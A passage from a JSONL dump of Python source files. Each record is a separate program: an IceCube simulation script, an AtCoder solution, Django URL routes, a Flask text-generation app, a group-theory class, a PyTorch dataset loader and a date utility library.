type=\"string\", default=\"\", dest=\"INPUT\", help=\"Input file to process\")\nparser.add_option(\"-o\", \"--output\", action=\"store\", type=\"string\", default=\"\", dest=\"OUTPUT\", help=\"Output i3 file\") \nparser.add_option(\"-s\", \"--seed\",type=\"int\",default=12345, dest=\"SEED\", help=\"Initial seed for the random number generator\") \nparser.add_option(\"-r\", \"--runnumber\", type=\"int\", default=1, dest=\"RUNNUMBER\", help=\"The run number for this simulation\") \nparser.add_option(\"--holeice\",default=\"as_50\", dest=\"HOLEICE\", help=\"Holeice file\")\nparser.add_option(\"--domos\", type=\"float\", default=1., dest=\"DOMOS\", help=\"dom oversizing parameter\")\nparser.add_option(\"--domeff\", type=\"float\", default=1., dest=\"DOMEFF\", help=\"dom efficiency parameter\")\nparser.add_option(\"-b\", \"--bgfile\", action=\"store\", type=\"string\", default=\"\", dest=\"BGFILE\", help=\"Output i3 file\") \n# parse cmd line args, bail out if anything is not understood\n(options,args) = parser.parse_args()\n\nGCD = options.GCDFILE\ninfile = options.INPUT\noutfile = options.OUTPUT\n\nprint(\"Command line options parsed...\")\n\nimport os, sys\n\ntray = I3Tray()\ntray.AddModule(\"I3Reader\", \"reader\", filenamelist=[GCD, infile] )\n\n# import phys_services which includes rng\nfrom icecube import phys_services\n# set up a random number generator\nrandomService = phys_services.I3SPRNGRandomService(\n seed = options.SEED,\n nstreams = 100000000,\n streamnum = options.RUNNUMBER)\ntray.context['I3RandomService'] = randomService\n\nprandomService = phys_services.I3SPRNGRandomService(\n seed = options.SEED,\n nstreams = 200000000,\n streamnum = options.RUNNUMBER+100000000)\nfrom icecube.simprod.segments.PropagateMuons import PropagateMuons\ntray.AddSegment(PropagateMuons,\"PropagateMuons\", RandomService=prandomService)\n\nfrom icecube import polyplopia\ntray.AddService(\"CoincidentI3ReaderServiceFactory\",\"BackgroundService\")((\"FileName\",options.BGFILE));\n\ntray.AddModule(\"PoissonPEMerger\")(\n (\"BaseIsBackground\",False),\n (\"CoincidentEventService\",\"BackgroundService\"),\n (\"MCTreeName\",\"I3MCTree_preMuonProp\"),\n (\"RandomService\",\"I3RandomService\"),\n (\"MCPEsToMerge\",\"I3MCPESeriesMap\"),\n (\"MMCTrackName\",\"MMCTrackList\")\n );\n\n# Delete all MCPEs we're not operating on\ndef empty_mcpe(frame):\n entries = 0\n for k in frame.keys():\n if isinstance(frame[k], simclasses.I3MCPESeriesMap):\n entries = entries + len(frame[k])\n return entries>0\ntray.AddModule(empty_mcpe, Streams=[icetray.I3Frame.DAQ])\n \nfrom icecube.simprod import segments\ntray.AddSegment(segments.DetectorSim, \"DetectorSim\",\n RandomService = 'I3RandomService',\n RunID = options.RUNNUMBER,\n GCDFile = GCD,\n KeepMCHits = False,\n KeepPropagatedMCTree = True,\n KeepMCPulses = False,\n SkipNoiseGenerator = False,\n LowMem = True,\n InputPESeriesMapName = \"I3MCPESeriesMap\" \n )\n\n# acquire some more MC truth information\ndef GetNeutrino(frame):\n def sanitize(particle):\n if particle is None:\n return dataclasses.I3Particle()\n else:\n return particle\n\n mcTree = frame[\"I3MCTree\"]\n primary = None\n neutrino = None\n for p in mcTree:\n if mcTree.depth(p) != 0: continue\n\n if p.is_neutrino:\n if neutrino is None or p.energy > neutrino.energy:\n neutrino = p\n\n if primary is None or p.energy > primary.energy:\n primary = p\n del frame[\"MCPrimary\"]\n frame[\"MCPrimary\"] = sanitize(primary)\ntray.AddModule(GetNeutrino, \"GetNeutrino\", Streams=[icetray.I3Frame.DAQ])\n\n\ndef GetMCTrack(frame):\n \n # Get the track from an MCTree. If there is no track, get the hadronic cascade.\n mcTree = frame[\"I3MCTree\"]\n\n trackParticle = None\n cascadeParticle = None\n numCascades = 0\n neutrino = None\n\n for p in mcTree:\n depth = mcTree.depth(p)\n if depth == 0:\n # if not p.is_neutrino:\n # raise RuntimeError(\"primary particle is not a neutrino!\")\n\n if neutrino is None or p.energy > neutrino.energy:\n neutrino = p\n\n if depth != 1: continue # depth==0 is the root (assume it is the primary neutrino)\n\n if p.type in [dataclasses.I3Particle.ParticleType.MuPlus,\n dataclasses.I3Particle.ParticleType.MuMinus,\n dataclasses.I3Particle.ParticleType.TauPlus,\n dataclasses.I3Particle.ParticleType.TauMinus]:\n # if trackParticle is not None:\n # raise RuntimeError(\"got multiple leptons from a single neutrino.\")\n\n trackParticle = p\n else:\n if cascadeParticle is None or p.energy > cascadeParticle.energy:\n cascadeParticle = p\n numCascades += 1\n\n theTrack = None\n\n if trackParticle is not None:\n theTrack = trackParticle\n else:\n if numCascades == 0: theTrack = None\n if numCascades == 1: theTrack = cascadeParticle\n if neutrino is None:\n raise RuntimeError(\"Internal error. Cascades found, but no neutrino in MCTree.\")\n theTrack = neutrino\n\n if theTrack is None:\n raise RuntimeError(\"no MC track could be found in MCTree\")\n\n # shift the vertex to the point of closest approach to the origin (0,0,0)\n a = - (theTrack.pos.x*theTrack.dir.x + theTrack.pos.y*theTrack.dir.y + theTrack.pos.z*theTrack.dir.z)\n newPos = dataclasses.I3Position(theTrack.pos.x + theTrack.dir.x * a,\n theTrack.pos.y + theTrack.dir.y * a,\n theTrack.pos.z + theTrack.dir.z * a)\n newTime = theTrack.time + a/dataclasses.I3Constants.c\n\n # generate a \"reconstructed\" particle from the MCTrack\n outputTrack = dataclasses.I3Particle()\n outputTrack.shape = dataclasses.I3Particle.ParticleShape.InfiniteTrack\n outputTrack.pos = newPos\n outputTrack.dir = theTrack.dir\n outputTrack.time = newTime\n outputTrack.fit_status = dataclasses.I3Particle.FitStatus.OK\n outputTrack.location_type = dataclasses.I3Particle.LocationType.InIce\n\n frame[\"MCTrack\"] = outputTrack\n \ntray.AddModule(GetMCTrack, \"GetMCTrack\", Streams=[icetray.I3Frame.DAQ])\n\n#tray.AddModule('Dump', \"dumpy\")\n\ntray.Add('Delete',Keys=['I3MCPESeriesMap','I3MCPulseSeriesMapPrimaryIDMap','IceTopRawData','MMCTrackList','PhotonSeriesMap', 'I3MCTree'])\n\n\ntray.AddModule('I3Writer', 'writer',\n Streams=[icetray.I3Frame.Stream('S'), icetray.I3Frame.TrayInfo, icetray.I3Frame.DAQ, icetray.I3Frame.Physics],\n filename=outfile)\n\n# final clean-up and execution\ntray.AddModule('TrashCan', 'YesWeCan')\nprint(\"Executing...\")\ntray.Execute()\nprint(\"Finish!\")\ntray.Finish()\n\ndel tray\n","sub_path":"simprod-scripts/resources/scripts/nwandkowsky/detector_systematics/detector_mcpe.py","file_name":"detector_mcpe.py","file_ext":"py","file_size_in_byte":7847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"328366539","text":"# https://atcoder.jp/contests/abc145/tasks/abc145_d\nimport math\nX, Y = list(map(int, input().split()))\n\nif (X + Y) % 3 != 0:\n print(0)\n exit()\n\n\nn = int((2*X - Y) // 3)\nm = int((2*Y - X) // 3)\n\nif n < 0 or m < 0:\n print(0)\n exit()\n\n\ndef comb(n, k):\n c = 1\n for i in range(k):\n c *= n - i\n c %= MOD\n d = 1\n for i in range(1, k + 1):\n d *= i\n d %= MOD\n return (c * pow(d, MOD - 2, MOD)) % MOD\n\nMOD = 10 ** 9 + 7\nresult = comb(n+m, n)\nprint(result)\n","sub_path":"Python_codes/p02862/s174851655.py","file_name":"s174851655.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"349772050","text":"from django.conf.urls import patterns, url\nfrom transport import views\n\nurlpatterns = patterns('',\n\turl(r'^$', views.index, name='index'),\n\turl(r'^index/$', views.index, name='index'),\n\turl(r'^download/$', views.download, name='download'),\n\turl(r'^about/$', views.about, name='about'),\n\turl(r'^i/ps(.+)/$', views.ind_select, name='ind_selects'),\n\turl(r'^i/info/$', views.info, name='info'),\n\turl(r'^i/pwd/$', views.pwd, name='pwd'),\n\turl(r'^individual/$', views.individual, name='individual'),\n\turl(r'^i/list/$', views.orderlist, name='orderlist'),\n\turl(r'^i/detail/id(.+)$', views.orderdetail, name='orderdetail'),\n\turl(r'^i/edit/id(.+)$', views.orderedit, name='orderedit'),\n\turl(r'^i/close/id(.+)$', views.orderclose, name='orderclose'),\n\turl(r'^i/publish/$', views.orderpublish, name='orderpublish'),\n\turl(r'^i/receive/id(.+)s(.+)$', views.orderreceive, name='orderreceive'),\n\turl(r'^i/confirm/id(.+)$', views.offer_confirm, name='offer_confirm'),\n\turl(r'^login/$', views.login, name='login'),\n\turl(r'^question/$', views.question, name='question'),\n\turl(r'^reg/$', views.reg, name='reg'),\n\turl(r'^reg_validator/$', views.reg_validator, name='reg_validator'),\n\turl(r'^conf_mail/$', views.conf_mail, name='conf_mail'),\n\turl(r'^sendMail/$', views.send_mail, name='send_mail'),\n\turl(r'^dreg/$',views.dreg,name='dreg'),\n\turl(r'^logout/$',views.logout,name='logout'),\n\turl(r'^f_pwd/$',views.f_pwd_1,name='f_pwd_1'),\n\turl(r'^f_pwd_2/$',views.f_pwd_2,name='f_pwd_2'),\n\turl(r'^f_pwd_3/$',views.f_pwd_3,name='f_pwd_3'),\n\turl(r'^f_pwd_code/$',views.f_pwd_code,name='f_pwd_code'),\n\turl(r'^order_column/$',views.order_column,name='order_column'),\n\turl(r'^order_pie/$',views.order_pie,name='order_pie'),\n\turl(r'^around/lat(.+)lon(.+)dis(.+)$',views.around,name='around'),\n\turl(r'^around_rec/id(.+)dis(.+)$',views.around_rec,name='around_rec'),\n\t\n\n\turl(r'^app/reg/$',views.driver_reg,name='driver_reg'),\n\turl(r'^app/login/$',views.driver_login,name='driver_login'),\n\turl(r'^app/order/$',views.get_order,name='get_order'),\n\turl(r'^app/order_search/$',views.get_order_search,name='get_order_search'),\n\turl(r'^app/detail/$',views.get_order_detail,name='get_order_detail'),\n\turl(r'^app/pwd/$',views.driver_pwd,name='driver_pwd'),\n\turl(r'^app/update/$',views.driver_update,name='driver_update'),\n\turl(r'^app/offer/$',views.driver_offer,name='driver_offer'),\n\turl(r'^app/order_list/$',views.get_order_offer,name='get_order_offer'),\n\turl(r'^app/location/$',views.set_location,name='set_location'),\n\turl(r'^app/order_finish/$',views.set_order_finish,name='set_order_finish'),\n\turl(r'^app/push/$',views.app_push,name='app_push'),\n\turl(r'^app/truck_type/$',views.truck_type,name='truck_type'),\n\turl(r'^app/app_update/$',views.app_update,name='app_update'),\n\turl(r'^app/publish/$',views.app_orderpublish,name='app_orderpublish'),\n\turl(r'^app/clt_reg/$',views.app_clt_reg,name='app_clt_reg'),\n\turl(r'^app/clt_login/$',views.app_clt_login,name='app_clt_login'),\n\turl(r'^app/clt_order/$',views.app_clt_order,name='app_clt_order'),\n\turl(r'^app/clt_receive/$', views.app_clt_receive, name='app_clt_receive'),\n\turl(r'^app/clt_confirm/$', views.app_offer_confirm, name='app_offer_confirm'),\n\turl(r'^app/clt_order_detail/$', views.app_clt_order_detail, name='app_clt_order_detail'),\n\turl(r'^app/clt_offer_detail/$', views.app_clt_offer_detail, name='app_clt_offer_detail'),\n\turl(r'^app/clt_location_detail/$', views.app_clt_location_detail, name='app_clt_location_detail'),\n\turl(r'^app/clt_commend/$', views.clt_commend, name='clt_commend'),\n\turl(r'^app/clt_commend_order/$', views.clt_commend_order, name='clt_commend_order'),\n\n\t)","sub_path":"transport/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"627112888","text":"from flask import Flask, render_template\nimport random\nimport sys\nimport nltk\nimport time\nimport fp\nfrom fp import r_punct_list\n# from rhymes import find_alliteration, find_phonemes, gen_rhyme_pair\nfrom helpers.rhymes import find_alliteration, find_phonemes, gen_rhyme_pair, gen_rando, gen_one_phone\nfrom helpers.this_helper import gen_random_num\nfrom nltk.tokenize import WhitespaceTokenizer, sent_tokenize\nfrom helpers.fp import find_phonemes_ngram\nfrom erasure_function import erase_words, erase_sentence, random_l, list_to_str, seq_of_sents\n#to run this program: cd into the directory then type python3 server.py.\n# then go to the localhost:5000/name_of_app\n\nz = nltk.corpus.gutenberg.fileids()\nprondict = nltk.corpus.cmudict.dict()\nf = open('artistStatements.txt')\nraw2 = f.read()\nsentence = sent_tokenize(raw2)\n#\nphoneNum = -2\nphonemes = ['AH0', 'N']\nscrubbed = ''\nrhyme_list = []\nallit_list = []\na = find_phonemes(phoneNum, phonemes, sentence, rhyme_list)\none_phone = gen_one_phone(rhyme_list)\nfind_alliteration(sentence, allit_list)\n## print(allit_list)\n#\n#s = ' '\nfor i in range(len(allit_list)):\n n = int(random.random()*len(allit_list))\n my_phrase = allit_list[n]\n s = ' '.join(my_phrase)\n# print(s)\n# print(a[0])\n# print(gen_rhyme_pair(rhyme_list))\n# print(gen_random_num())\ngreets = [\"Hello\", \"Hi\", \"Salutations\", \"Greetings\", \"Hey\", \"Sup\"]\nplaces = [\"region\", \"continent\", \"world\", \"solar system\",\n \"galaxy\"]\n\napp = Flask(__name__)\ngreets = [\"Hello\", \"Hi\", \"Salutations\", \"Greetings\", \"Hey\", \"Sup\"]\nplaces = [\"region\", \"continent\", \"world\", \"solar system\",\n \"galaxy\"]\n\n@app.route('/hello')\ndef hello():\n # return str(gen_rando())\n # return str(\" \".join(b))\n greeting = random.choice(greets) + \", \" + random.choice(places)\n return render_template(\"greetings2.html\",\n greet=random.choice(greets), place=random.choice(places))\n\n\n@app.route('/allit')\ndef allit():\n for i in range(len(allit_list)):\n n = int(random.random() * len(allit_list))\n my_phrase = allit_list[n]\n s = ''.join(my_phrase)\n # print(s)\n return s\n\n@app.route('/test1')\ndef test1():\n greeting = random.choice(greets) + \", \" + random.choice(places)\n return render_template(\"greetings.html\",\n greet=random.choice(greets), place=random.choice(places))\n\n@app.route('/test2')\ndef test2():\n for i in range(len(allit_list)):\n n = int(random.random() * len(allit_list))\n my_phrase = allit_list[n]\n s = ''.join(my_phrase)\n # print(s)\n # greeting = random.choice(greets) + \", \" + random.choice(places)\n return render_template(\"simple.html\",\n words=s)\n\nmy_string = 'this is going to be the best day of my life'\n@app.route('/best')\ndef print_to_web():\n return render_template(\"simple.html\",words =my_string )\n\nthis_ch = 'oh mu my my my my save yes'\n@app.route('/erase')\ndef erase():\n num = 20\n this_choice = seq_of_sents(sentence, num)\n\n # s = erase_sentence(this_choice)\n return render_template(\"simple.html\", words=this_choice[0])\n\n@app.route('/phone')\ndef phone():\n this_phone = gen_one_phone(rhyme_list)\n return render_template(\"simple.html\",\n words =this_ch)\n\nfibo_list = [0, 1, 1, 2, 3, 5, 8]\nfibo_list2 =[0,1, 1, 2, 3, 5]\nnew_list = [1, 1, 2, 3, 5, 8]\n\ndef ps_simple(fib):\n ps_simple.phrase = ''\n for i in range(fib):\n\n phrase = find_phonemes_ngram(-2, ['AH0', 'N'], sentence, i)\n rn = int(random.random()*len(phrase)-1)\n str_phrase = ' '.join(phrase[rn])\n ps_simple.phrase = ps_simple.phrase + str_phrase+\" \"+'
'\n # print(ps.phrase)\n yield ps_simple.phrase\nps_simple.phrase = ''\n# ps(5)\n\ndef run_simple():\n # print(run_simple.x)\n x = next(run_simple.x, 'end')\n if (x) == 'end':\n run_simple.x = ps_simple(5)\n return next(run_simple.x)\n else:\n return x\n\nrun_simple.x = ps_simple(5)\n\n@app.route('/fibo_phone')\ndef fibo_phone():\n my_variable = run_simple()\n # return render_template(\"simple.html\", words =my_variable)\n return render_template(\"index.html\", words=my_variable)\n\ndef ps(fib):\n for i in range(len(fib)):\n ps.phrase = ''\n phrase = find_phonemes_ngram(-2, ['AH0', 'N'], sentence, i)\n rn = int(random.random()*len(phrase)-1)\n str_phrase = ' '.join(phrase[rn])\n ps.phrase = ps.phrase + str_phrase+\" \"\n dur = 1\n for i in fib:\n dur = dur * 1.25\n if i < 1:\n dur = 1\n print()\n for j in range(i):\n ps.phrase = ''\n phrase = find_phonemes_ngram(-2, ['AH0', 'N'], sentence, i-1)\n rn = int(random.random()*len(phrase)-1)\n no_punct_phrase = r_punct_list(phrase[rn])\n str_phrase = ' '.join(no_punct_phrase)\n ps.phrase = ps.phrase + str_phrase+\" \"\n print(ps.phrase)\n time.sleep(dur)\n\nps.phrase = ''\n\n#\n# def run_ps_old_dont_use():\n# for i in range(3):\n# neo = ps(fibo_list2)\n# return neo\n\ndef run_ps():\n # for i in fibo_list:\n # ps(i)\n # print()\n #if we want to loop it N times\n for i in range(3):\n ps(fibo_list2)\n # print('this is the run_ps four second pause')\n time.sleep(4)\n\n#this one is currently not working\n@app.route('/fibo_phone2')\ndef fibo_phone2():\n # my_variable = ps(5)\n my_variable2 = run_ps()\n # for i in range(3):\n # my_variable = ps_simple(5)\n # time.sleep(2)\n return render_template(\"simple.html\", words =my_variable2)\n\n\nif __name__ == '__main__':\n app.run()\n\n\n\n\n#to run this code, cd into the location where the file is and then goto your browser: localhost:5000/hello\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"391096482","text":"\n\nclass Group:\n def __init__(self, rows):\n self.table = []\n for row in rows:\n self.table.append([])\n for e in row: self.table[-1].append(GroupElement(e, self))\n self.order = len(rows[0])\n self.elements = [e for e in self.table[0]]\n self.id = self.getIdentity()\n # ==== OPERATIONS ====\n def apply(self, e1, e2):\n if e1 in self and e2 in self:\n x,y = 0,0\n for i in range(0,len(self.table)):\n if self.table[i][0] == e1: y = i\n x = self.table[0].index(e2)\n return self.table[y][x] # Return the value at x,y\n else:\n print(\"-- Element \"+e1+\"*\"+e2+\" outside of group\")\n def exp(self, e1, p):\n if e1 in self:\n ret = e1\n for i in range(1,p):\n ret = self.apply(ret,e1)\n return ret\n else: print(\"-- Element \"+e1+\" outside of group\")\n # ==== FUNCTIONS ====\n def gp(self, elems):\n newtable = []\n i,j = 0,0\n while i < len(elems):\n e1 = elems[i]\n newtable.append([])\n while j < len(elems):\n e2 = elems[j]\n prod = e1*e2\n if prod not in elems:\n return self.gp(elems+[prod])\n break\n newtable[-1].append(str(prod))\n j+= 1\n i,j = i+1, 0\n return Group(newtable)\n def center(self):\n newtable = []\n for z in self.elements[1:]:\n left = True\n right = True\n newtable.append([])\n for g in self.elements:\n left = g * z\n right = z * g\n \n if not left or not right: break\n if left and right:\n newtable[-1].append(z*g)\n else: pass\n return Group(newtable)\n # ==== GETTERS ====\n def getIdentity(self):\n for e1 in self.elements:\n isId = False\n for e2 in self.elements:\n left = (e1 * e2) == e2\n right = (e2 * e1) == e2\n isId = left and right\n if isId: return e1\n print(\"-- Error, there's no identity?\")\n def getInverse(self, e1):\n for e2 in self.elements:\n left = (e2 * e1) == self.id\n right = (e1 * e2) == self.id\n if left and right: return e2\n print(\"-- Error, there's no inverse for \"+e1+\"?\")\n def getTable(self):\n newtable = []\n for row in self.table:\n newtable.append(list(str(e1) for e1 in row))\n return newtable\n # ==== __FUNCTIONS__ ====\n def __contains__(self,element):\n return element in self.elements\n def __getitem__(self, i):\n if i < self.order:\n return self.elements[i]\n else:\n raise IndexError\n def __str__(self):\n ret = \"* \"+\" \".join(str(e) for e in self.table[0])\n for i in range(0,len(self.table)):\n ret+= \"\\n\"+str(self.table[0][i])\n ret+= \"|\"+\" \".join(str(e) for e in self.table[i])\n return ret\n\nclass GroupElement:\n def __init__(self, name, group):\n self.name = name\n self.group = group\n def __eq__(self, other):\n return self.name == other.name\n def __mul__(self, other):\n return self.group.apply(self, other)\n def __truediv__(self, other):\n return self * (other ** -1)\n def __pow__(self, p):\n if p < 0:\n inv = self.group.getInverse(self)\n return self.group.exp(inv, -p)\n return self.group.exp(self, p)\n def __str__(self):\n return self.name\n\n","sub_path":"p3/math/groups3.py","file_name":"groups3.py","file_ext":"py","file_size_in_byte":3674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"631859198","text":"# import packages\nimport os\nimport pandas as pd\nfrom PIL import Image\n\n\n# define class MyDataset\nclass MyDataset:\n # define __init__ function\n def __init__(self, file_dir, anno_file, transform=None):\n self.file_dir = file_dir\n self.anno_file = anno_file\n self.transform = transform\n if not os.path.isfile(self.anno_file):\n print(self.anno_file + 'does not exist!')\n self.file_info = pd.read_csv(anno_file, index_col=0)\n self.size = len(self.file_info)\n\n # define __len__ function\n def __len__(self):\n return self.size\n\n # define __getitem__ function\n def __getitem__(self, idx):\n # get image\n path = self.file_info['path'][idx]\n if not os.path.isfile(path):\n print(path + ' does not exist!')\n return None\n image = Image.open(path).convert('RGB')\n if self.transform:\n image = self.transform(image)\n # get annotation\n classes = int(self.file_info['classes'][idx])\n species = int(self.file_info['species'][idx])\n # make sample as dictionary and return sample\n sample = {'image': image, 'classes': classes, 'species': species}\n return sample\n","sub_path":"Picture-multi-classification/Stage_3_Multi_classification/Multi_Get_Dataset.py","file_name":"Multi_Get_Dataset.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"650286886","text":"\"\"\"\nWhere the magic happens.\n\"\"\"\n\nimport calendar\nfrom datetime import datetime, timedelta\n\nfrom .utils import _iteritems\n\n\n# ----------------------------------------------------------------------------\n# Utilities\n# ----------------------------------------------------------------------------\n\ndef add_month(date, number):\n \"\"\"Add a number of months to a date.\"\"\"\n month = date.month - 1 + number\n return update_month(date, month)\n\n\ndef subtract_month(date, number):\n \"\"\"Subtract a number of months from a date.\"\"\"\n month = date.month - 1 - number\n return update_month(date, month)\n\n\ndef update_month(date, month):\n \"\"\"Create a new date with a modified number of months.\"\"\"\n year = date.year + int(month / 12)\n month = month % 12 + 1\n day = min(date.day, calendar.monthrange(year, month)[1])\n return date.replace(year=year, month=month, day=day)\n\n\n# ----------------------------------------------------------------------------\n# Main functionality\n# ----------------------------------------------------------------------------\n\nclass MutableDate(object):\n \"\"\"Incapsulate mutable dates in one class.\"\"\"\n\n def __init__(self, date):\n self._date = date\n\n def add(self, key=None, amount=None, **kwds):\n \"\"\"Add time to the original moment.\"\"\"\n if not key and not amount and len(kwds):\n for k, v in _iteritems(kwds):\n self.add(k, v)\n if key == 'years' or key == 'year':\n self._date = add_month(self._date, amount * 12)\n elif key == 'months' or key == 'month':\n self._date = add_month(self._date, amount)\n elif key == 'weeks' or key == 'week':\n self._date += timedelta(weeks=amount)\n elif key == 'days' or key == 'day':\n self._date += timedelta(days=amount)\n elif key == 'hours' or key == 'hour':\n self._date += timedelta(hours=amount)\n elif key == 'minutes' or key == 'minute':\n self._date += timedelta(minutes=amount)\n elif key == 'seconds' or key == 'second':\n self._date += timedelta(seconds=amount)\n elif key == 'milliseconds' or key == 'millisecond':\n self._date += timedelta(milliseconds=amount)\n elif key == 'microseconds' or key == 'microsecond':\n self._date += timedelta(microseconds=amount)\n return self\n\n def sub(self, key=None, amount=None, **kwds):\n \"\"\"Just in case.\"\"\"\n return self.subtract(key, amount, **kwds)\n\n def subtract(self, key=None, amount=None, **kwds):\n \"\"\"Subtract time from the original moment.\"\"\"\n if not key and not amount and len(kwds):\n for k, v in _iteritems(kwds):\n self.subtract(k, v)\n if key == 'years' or key == 'year':\n self._date = subtract_month(self._date, amount * 12)\n elif key == 'months' or key == 'month':\n self._date = subtract_month(self._date, amount)\n elif key == 'weeks' or key == 'week':\n self._date -= timedelta(weeks=amount)\n elif key == 'days' or key == 'day':\n self._date -= timedelta(days=amount)\n elif key == 'hours' or key == 'hour':\n self._date -= timedelta(hours=amount)\n elif key == 'minutes' or key == 'minute':\n self._date -= timedelta(minutes=amount)\n elif key == 'seconds' or key == 'second':\n self._date -= timedelta(seconds=amount)\n elif key == 'milliseconds' or key == 'millisecond':\n self._date -= timedelta(milliseconds=amount)\n elif key == 'microseconds' or key == 'microsecond':\n self._date -= timedelta(microseconds=amount)\n return self\n\n def replace(self, **kwds):\n \"\"\"A Pythonic way to replace various date attributes.\"\"\"\n for key, value in _iteritems(kwds):\n if key == 'years' or key == 'year':\n self._date = self._date.replace(year=value)\n elif key == 'months' or key == 'month':\n self._date = self._date.replace(month=value)\n elif key == 'days' or key == 'day':\n self._date = self._date.replace(day=value)\n elif key == 'hours' or key == 'hour':\n self._date = self._date.replace(hour=value)\n elif key == 'minutes' or key == 'minute':\n self._date = self._date.replace(minute=value)\n elif key == 'seconds' or key == 'second':\n self._date = self._date.replace(second=value)\n elif key == 'microseconds' or key == 'microsecond':\n self._date = self._date.replace(microsecond=value)\n elif key == 'weekday':\n self._weekday(value)\n return self\n\n def epoch(self, rounding=True, milliseconds=False):\n \"\"\"Milliseconds since epoch.\"\"\"\n zero = datetime.utcfromtimestamp(0)\n delta = self._date - zero\n seconds = delta.total_seconds()\n if rounding:\n seconds = round(seconds)\n if milliseconds:\n seconds *= 1000\n return seconds\n\n def _weekday(self, number):\n \"\"\"Mutate the original moment by changing the day of the week.\"\"\"\n weekday = self._date.isoweekday()\n if number < 0:\n days = abs(weekday - number)\n else:\n days = weekday - number\n delta = self._date - timedelta(days)\n self._date = delta\n return self\n\n def isoformat(self):\n \"\"\"Return the date's ISO 8601 string.\"\"\"\n return self._date.isoformat()\n\n def from_date(self, other):\n \"\"\"Returns a readable interval since a date before\"\"\"\n return \"{} ago\".format(self._readable_timedelta(self - other))\n\n def from_now(self):\n \"\"\"Returns a readable interval since now until the date\"\"\"\n return self.from_date(datetime.now())\n\n def to_date(self, other):\n \"\"\"Returns a readable interval until a future date\"\"\"\n return \"in {}\".format(self._readable_timedelta(other - self))\n\n def to_now(self):\n \"\"\"Returns a readable interval since the date until now\"\"\"\n return self.to_date(datetime.now())\n \n def _readable_timedelta(self, td):\n \"\"\"Translate a timedelta into a readable and short string\"\"\"\n if td.total_seconds() < 0:\n td = -td\n\n m = 60\n h = 60*m\n d = 24*h\n rangemap = {\n (0, 45): \"a few seconds\",\n (45, 90): \"a minute\",\n (90, 45*m): \"{minutes} minutes\",\n (45*m, 90*m): \"an hour\",\n (90*m, 22*h): \"{hours} hours\",\n (22*h, 36*h): \"a day\",\n (36*h, 26*d): \"{days} days\",\n (26*d, 45*d): \"a month\",\n (45*d, 320*d): \"{months} months\",\n (320*d, 548*d): \"a year\",\n }\n\n inrange = lambda value, lbound, ubound: value >= lbound and value < ubound\n\n for secrange, fmt in _iteritems(rangemap):\n if inrange(td.total_seconds(), secrange[0], secrange[1]):\n return fmt.format(\n minutes=td.seconds/60, \n hours=td.seconds/3600, \n days=td.days,\n months=td.days/30)\n else:\n return \"{} years\".format(td.days/365)\n\n def calendar_time(self, reference_date=datetime.now(), formats={\n \"sameDay\": \"Today\",\n \"nextDay\": \"Tomorrow\",\n \"lastDay\": \"Yesterday\",\n \"nextWeek\": \"\",\n \"lastWeek\": \"Last\"\n }):\n \"\"\"Returns a readable string containing the time \n relative to the reference_date\"\"\"\n\n\n weekday = calendar.day_name[calendar.weekday(\n self.year, self.month, self.day)]\n td = self.copy().zero - MutableDate(reference_date).zero\n \n if td.days == 0:\n dayref = formats[\"sameDay\"]\n elif td.days == 1:\n dayref = formats[\"nextDay\"]\n elif td.days == -1:\n dayref = formats[\"lastDay\"]\n elif td.days > 1 and td.days <= 7:\n dayref = \"{} {}\".format(formats[\"nextWeek\"], weekday).strip()\n elif td.days < -1 and td.days >= -7:\n dayref = \"{} {}\".format(formats[\"lastWeek\"], weekday).strip()\n else:\n return self.format(\"MM/DD/YYYY\")\n\n hourref = \"at {}\".format(self.format(\"HH:mm\"))\n\n return \"{dayref} {hourref}\".format(dayref=dayref, hourref=hourref)\n\n @property\n def zero(self):\n \"\"\"Get rid of hour, minute, second, and microsecond information.\"\"\"\n self.replace(hours=0, minutes=0, seconds=0, microseconds=0)\n return self\n\n @property\n def datetime(self):\n \"\"\"Return the mutable date's inner datetime format.\"\"\"\n return self._date\n\n @property\n def date(self):\n \"\"\"Access the internal datetime variable.\"\"\"\n return self._date\n\n @property\n def year(self):\n return self._date.year\n\n @property\n def month(self):\n return self._date.month\n\n @property\n def day(self):\n return self._date.day\n\n @property\n def weekday(self):\n return self._date.isoweekday()\n\n @property\n def hour(self):\n return self._date.hour\n\n @property\n def hours(self):\n return self._date.hour\n\n @property\n def minute(self):\n return self._date.minute\n\n @property\n def minutes(self):\n return self._date.minute\n\n @property\n def second(self):\n return self._date.second\n\n @property\n def seconds(self):\n return self._date.second\n\n @property\n def microsecond(self):\n return self._date.microsecond\n\n @property\n def microseconds(self):\n return self._date.microsecond\n\n @property\n def tzinfo(self):\n return self._date.tzinfo\n\n def __sub__(self, other):\n if isinstance(other, datetime):\n return self._date - other\n elif isinstance(other, type(self)) \\\n or issubclass(other.__class__, MutableDate):\n return self._date - other.date\n\n def __rsub__(self, other):\n return -self.__sub__(other)\n\n def __lt__(self, other):\n if isinstance(other, datetime):\n return self._date < other\n elif isinstance(other, type(self)):\n return self._date < other.date\n\n def __le__(self, other):\n if isinstance(other, datetime):\n return self._date <= other\n elif isinstance(other, type(self)):\n return self._date <= other.date\n\n def __eq__(self, other):\n if isinstance(other, datetime):\n return self._date == other\n elif isinstance(other, type(self)):\n return self._date == other.date\n\n def __ne__(self, other):\n if isinstance(other, datetime):\n return self._date != other\n elif isinstance(other, type(self)):\n return self._date != other.date\n\n def __gt__(self, other):\n if isinstance(other, datetime):\n return self._date > other\n elif isinstance(other, type(self)):\n return self._date > other.date\n\n def __ge__(self, other):\n if isinstance(other, datetime):\n return self._date >= other\n elif isinstance(other, type(self)):\n return self._date >= other.date\n","sub_path":"moment/date.py","file_name":"date.py","file_ext":"py","file_size_in_byte":11295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"199958667","text":"## SmartRPyC 